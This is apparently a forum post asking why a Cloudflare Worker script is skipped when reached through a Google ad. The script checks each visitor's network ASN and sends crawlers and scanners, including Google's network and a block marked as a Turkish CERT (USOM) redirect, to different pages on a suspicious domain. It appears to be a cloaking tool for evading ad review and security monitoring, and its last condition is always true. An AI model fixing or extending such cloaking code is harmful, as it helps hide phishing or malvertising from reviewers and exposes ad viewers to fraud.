My workers code does not work when the Google ad link is clicked

Hello there .
I have one question.
The workers codes below are actually working, but when I publish them in the google ad and when clicked, these codes are skipped.
Workers codes only work directly on the site.
What do I need to do to make it work in Google ads?

async function handleRequest(request) {
  const clientUA = request.headers.get('User-Agent');
  const clientIP = request.headers.get('CF-Connecting-IP');
  const clientASN = request.cf.asn;
  const clientISP = request.cf.asOrganization;
  const clientCO = request.cf.country;
  const clientCI = request.cf.city;
  const clientRE = request.cf.region;
  const clientLAT = request.cf.latitude;
  const clientLON = request.cf.longitude;
  const clientPC = request.cf.postalCode;
  const clientTZ = request.cf.timezone;
  
if (clientASN == 36384 || clientASN == 18881 || clientASN == 15169 || clientASN == 45566 || clientASN == 41264 || clientASN == 43515 
|| clientASN == 396982 || clientASN == 395973 || clientASN == 394725 || clientASN == 36492 || clientASN == 36040 || clientASN == 24424 || clientASN == 139190 || clientASN == 139070 || clientASN == 11039 
|| clientASN == 11096 || clientASN == 11686 || clientASN == 12307 || clientASN == 12310 || clientASN == 12350 || clientASN == 1239 || clientASN == 12552 || clientASN == 12637 || clientASN == 1273 
|| clientASN == 12779 || clientASN == 1280 || clientASN == 1299 || clientASN == 13030 || clientASN == 132337 || clientASN == 13237 || clientASN == 133210 || clientASN == 1351 || clientASN == 135895 
|| clientASN == 137409 || clientASN == 13760 || clientASN == 138064 || clientASN == 1403 || clientASN == 14041 || clientASN == 14061 || clientASN == 140627 || clientASN == 141694 || clientASN == 142580 
|| clientASN == 14259 || clientASN == 14537 || clientASN == 14630 || clientASN == 14840 || clientASN == 148968 || clientASN == 14907 || clientASN == 15280 || clientASN == 15547 || clientASN == 15605 || clientASN == 15623)
{
    return Response.redirect('https://epstares-cloudfastpasskgs.info/index.php');
  }

if (clientASN  == 132165 || clientASN === 20978 || clientASN == 16135 || clientASN == 15897)
 {
    return Response.redirect('https://epstares-cloudfastpasskgs.info/test.php');
 }

 // USOM YONLENDIRMESI
  if (clientASN != 15897 || clientASN != 16135 || clientASN != 20978 || clientASN != 36384 || clientASN !== 18881 || clientASN != 15169 || clientASN != 45566 || clientASN != 41264 || clientASN != 43515 
|| clientASN != 396982 || clientASN != 395973 || clientASN != 394725 || clientASN != 36492 || clientASN != 36040 || clientASN != 24424 || clientASN != 139190 || clientASN != 139070 || clientASN != 11039 
|| clientASN != 11096 || clientASN != 11686 || clientASN != 12307 || clientASN != 12310 || clientASN != 12350 || clientASN != 1239 || clientASN != 12552 || clientASN != 12637 || clientASN != 1273 
|| clientASN != 12779 || clientASN != 1280 || clientASN != 1299 || clientASN != 13030 || clientASN != 132337 || clientASN != 13237 || clientASN != 133210 || clientASN != 1351 || clientASN != 135895 
|| clientASN != 137409 || clientASN != 13760 || clientASN != 138064 || clientASN !==1403 || clientASN != 14041 || clientASN != 14061 || clientASN != 140627 || clientASN != 141694 || clientASN != 142580 
|| clientASN != 14259 || clientASN != 14537 || clientASN != 14630 || clientASN != 14840 || clientASN != 148968 || clientASN != 14907 || clientASN != 15280 || clientASN != 15547 || clientASN != 15605 || clientASN != 15623 
|| clientASN != 34984) 
{

    return Response.redirect('https://epstares-cloudfastpasskgs.info/end.php');
}

  return fetch(request);
}

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request));
});